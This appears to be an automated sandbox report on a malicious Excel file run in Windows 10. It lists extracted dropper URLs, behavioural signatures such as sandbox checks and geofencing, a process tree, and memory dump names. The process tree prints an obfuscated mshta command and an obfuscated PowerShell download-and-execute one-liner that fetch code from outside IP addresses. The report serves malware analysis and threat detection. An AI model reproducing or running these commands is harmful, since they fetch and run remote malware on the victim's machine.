Analysis
- max time kernel
4265007s - max time network
101s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
17/01/2022, 23:29
General
- Target e1a7abda10e6b4c549c8869a00393488.xls
- Size 128KB
- Sample220117-3gj3aaecgr
- SHA256 5ae8846c8c7b641f282ee57e2c7e43ecbb26ef440b76a0fc3d4134df1c6e4867
Malware Config
Extracted
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hta
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hta.dropper
http://0xb907d607/cc.html
Extracted
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ps1
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ps1.dropper
http://185.7.214.7/PP91.PNG
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e1a7abda10e6b4c549c8869a00393488.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3972 -s 17244⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
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C:\Windows\system32\MusNotification.exeC:\Windows\system32\MusNotification.exe1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 3972 -ip 39721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1680-146-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-147-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-132-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/1680-133-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/1680-134-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/1680-136-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-135-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-137-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-138-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-139-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-148-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-142-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-141-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-143-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-144-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-145-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-131-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/1680-130-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/1680-140-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-158-0x000001AE31FF0000-0x000001AE31FF6000-memory.dmp
memory/1680-157-0x000001AE31FF0000-0x000001AE31FF4000-memory.dmp
memory/1680-151-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-152-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-156-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-154-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/1680-155-0x000001AE31FF0000-0x000001AE31FF2000-memory.dmp
memory/3644-160-0x0000020FF12A0000-0x0000020FF12A2000-memory.dmp
memory/3644-161-0x0000020FF12A0000-0x0000020FF12A2000-memory.dmp
memory/3644-162-0x0000020FF12A0000-0x0000020FF12A2000-memory.dmp
memory/3644-163-0x0000020FF12A0000-0x0000020FF12A2000-memory.dmp
memory/3972-153-0x00000279B6CF8000-0x00000279B6D00000-memory.dmp